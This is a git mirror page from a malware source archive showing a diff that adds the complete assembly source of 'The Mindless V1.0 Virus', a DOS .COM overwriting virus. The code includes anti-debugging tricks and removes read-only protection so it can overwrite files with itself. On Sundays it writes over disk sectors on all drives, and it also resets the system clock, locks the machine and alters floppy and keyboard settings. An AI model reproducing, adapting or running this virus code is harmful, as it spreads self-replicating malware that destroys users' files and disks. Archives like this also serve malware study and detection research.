mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,228 @@
|
||||
; The Mindless V1.0 Virus
|
||||
;
|
||||
; Type: *.COM Overwriter
|
||||
;
|
||||
; Programmer: Natas Kaupas
|
||||
|
||||
; Notes:
|
||||
;
|
||||
; Read the texts that come with this for all of the necessary
|
||||
; info...if you've got any questions contact me on any YAM Dist. Sites.
|
||||
;
|
||||
; I Couldn't Have Made This Without:
|
||||
;
|
||||
; Soltan Griss -Kode4
|
||||
; Data Disruptor -encrypted part
|
||||
; Mr. Mike -typematic delay thing
|
||||
; And Everyone I Forgot!
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
|
||||
|
||||
MINDL proc far
|
||||
start label near
|
||||
db 0E9h,00h,00h
|
||||
|
||||
vstart equ $
|
||||
|
||||
mov cx,09EBh ;debug killer
|
||||
mov ax,0FE05h ;
|
||||
jmp $-2 ;
|
||||
add ah,03Bh ;
|
||||
jmp $-10 ;
|
||||
|
||||
push ds ;save old data segment
|
||||
sub ax,ax ;put zero in ax
|
||||
push ax ;save it on stack
|
||||
|
||||
mov ah,2ah ;get date
|
||||
int 21h
|
||||
cmp al,0 ;is it a Sunday?
|
||||
jne rater ;no...don't format then
|
||||
|
||||
doom:
|
||||
mov ax,3301h ;turn off ^C Check
|
||||
xor dl,dl ;0
|
||||
int 21h
|
||||
|
||||
mov cx,lident ;this all has to do with the encrypted
|
||||
mov si,offset ident ;message
|
||||
mov di,offset dest ;
|
||||
doshit:
|
||||
mov al,ds:[si] ;unencrypt message
|
||||
mov temp,al ;
|
||||
xor byte ptr ds:[temp],01h ;
|
||||
mov al,temp ;
|
||||
mov [di],al ;
|
||||
inc si ;
|
||||
inc di ;
|
||||
loop doshit ;loop back and finish it
|
||||
doomb:
|
||||
cmp drive,27 ;format all drives
|
||||
jge boot ;done...then end (boot)
|
||||
pushf ;push flags on
|
||||
mov al,drive ;find drive
|
||||
mov cx,sectors ;find sectors
|
||||
mov dx,0 ;start at sector 0
|
||||
mov bx,offset dest ;write encrypted message
|
||||
int 26h ;format
|
||||
popf ;pop flags off
|
||||
inc drive ;go up to next drive
|
||||
jmp doomb ;repeat
|
||||
|
||||
;this was originally going to boot...but for some reason it couldn't format in
|
||||
;time (before the boot), so it didn't format...oh well.
|
||||
|
||||
boot:
|
||||
mov dl,2ch ;get system time
|
||||
int 21h
|
||||
and dl,0Fh ;AND 100th seconds by 0Fh
|
||||
or dl,dl ;0?
|
||||
jz locker ;yes..then lock up system
|
||||
|
||||
mov cx,1980 ;date, 1980
|
||||
mov dx,0 ;mon/day, 0
|
||||
mov ah,2Bh ;set date
|
||||
int 21h
|
||||
mov cx,0 ;hrs/min, 0
|
||||
mov dx,0 ;sec, 0
|
||||
mov ah,2Dh ;set time
|
||||
int 21h
|
||||
mov ax,3301h ;turn ^C Check back on
|
||||
mov dl,1 ;1
|
||||
int 21h
|
||||
mov ax,4c00h ;end with error message 00
|
||||
int 21h
|
||||
|
||||
locker:
|
||||
jmp $ ;lock up computer
|
||||
|
||||
rater:
|
||||
mov al,dl
|
||||
mov dl,0c0h ;unkown ms, really grinds on mine though!
|
||||
jz valid ;it must be around 15ms
|
||||
;which is slow considering default is 9ms
|
||||
;and most floppies can actually go under 6ms
|
||||
|
||||
valid:
|
||||
push ds ;Save the data segment
|
||||
mov bx,78h ;point to pointer for floppy drive tables
|
||||
mov ax,0
|
||||
mov ds,ax ;set to segment 0
|
||||
mov ax,[bx] ;get the pointer
|
||||
mov bx,ax ;into the bx register
|
||||
mov al,[bx] ;now get the present step rate
|
||||
and al,0fh ;remove the old step rate
|
||||
or al,dl ;put in the new step rate
|
||||
mov [bx],al ;and put it back where it goes
|
||||
mov ah,0 ;now call on the BIOS to
|
||||
int 13h ;reload the set floppy disk controller
|
||||
pop ds ;Reset the Data Segment
|
||||
|
||||
go_on:
|
||||
|
||||
push ds ;save present data segment
|
||||
|
||||
mov bx,78h ;point to pointer for floppy drive tables
|
||||
mov ax,0
|
||||
mov ds,ax ;set to segment 0
|
||||
mov ax,[bx] ;get the pointer
|
||||
mov bx,ax ;into the bx register
|
||||
mov al,[bx] ;now get the step rate
|
||||
pop ds
|
||||
push ax ;save the step rate on the stack
|
||||
|
||||
|
||||
typematic:
|
||||
mov bl,repeat ;get the parameters
|
||||
mov bh,init ;
|
||||
mov ax,305h ;set typematic rate and delay
|
||||
int 16h ;
|
||||
xor al,al ;errorlevel = 0
|
||||
|
||||
n_start: mov ah,4Eh ;Find first Com file in directory
|
||||
mov dx,offset filename ;use "*.com"
|
||||
int 21h
|
||||
|
||||
Back:
|
||||
mov ah,43h ;get rid of read only protection
|
||||
mov al,0 ;
|
||||
mov dx,9eh ;
|
||||
int 21h ;
|
||||
mov ah,43h ;
|
||||
mov al,01 ;
|
||||
and cx,11111110b ;
|
||||
int 21h ;
|
||||
|
||||
mov ax,3D01h ;Open file for writing
|
||||
mov dx,9Eh ;get file name from file data area
|
||||
int 21h
|
||||
|
||||
mov bx,ax ;save handle in bx
|
||||
mov ah,57h ;get time date
|
||||
mov al,0
|
||||
int 21h
|
||||
|
||||
push cx ;put in stack for later
|
||||
push dx
|
||||
|
||||
|
||||
mov dx,100h ;Start writing at 100h
|
||||
mov cx,(vend-vstart) ;write ?? bytes
|
||||
mov ah,40h ;Write Data into the file
|
||||
int 21h
|
||||
|
||||
|
||||
pop dx ;Restore old dates and times
|
||||
pop cx
|
||||
mov ah,57h
|
||||
mov al,01h
|
||||
int 21h
|
||||
|
||||
|
||||
|
||||
mov ah,3Eh ;Close the file
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ;Find Next file
|
||||
int 21h
|
||||
|
||||
jnc Back
|
||||
|
||||
done:
|
||||
|
||||
int 20h ;Terminate Program
|
||||
|
||||
V_Length equ vend-vstart
|
||||
|
||||
drive db ?
|
||||
sectors dw 456
|
||||
|
||||
filename db "*.c*",0
|
||||
|
||||
ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
|
||||
db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
|
||||
|
||||
;encrypted message:
|
||||
;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
|
||||
; db "The Mindless Virus v1.0 ",13,10
|
||||
|
||||
lident equ $-ident
|
||||
dest db [lident-1/2] dup (?)
|
||||
temp db 0
|
||||
|
||||
repeat equ 250
|
||||
init equ 0
|
||||
|
||||
mindl endp
|
||||
|
||||
vend equ $
|
||||
|
||||
seg_a ends
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user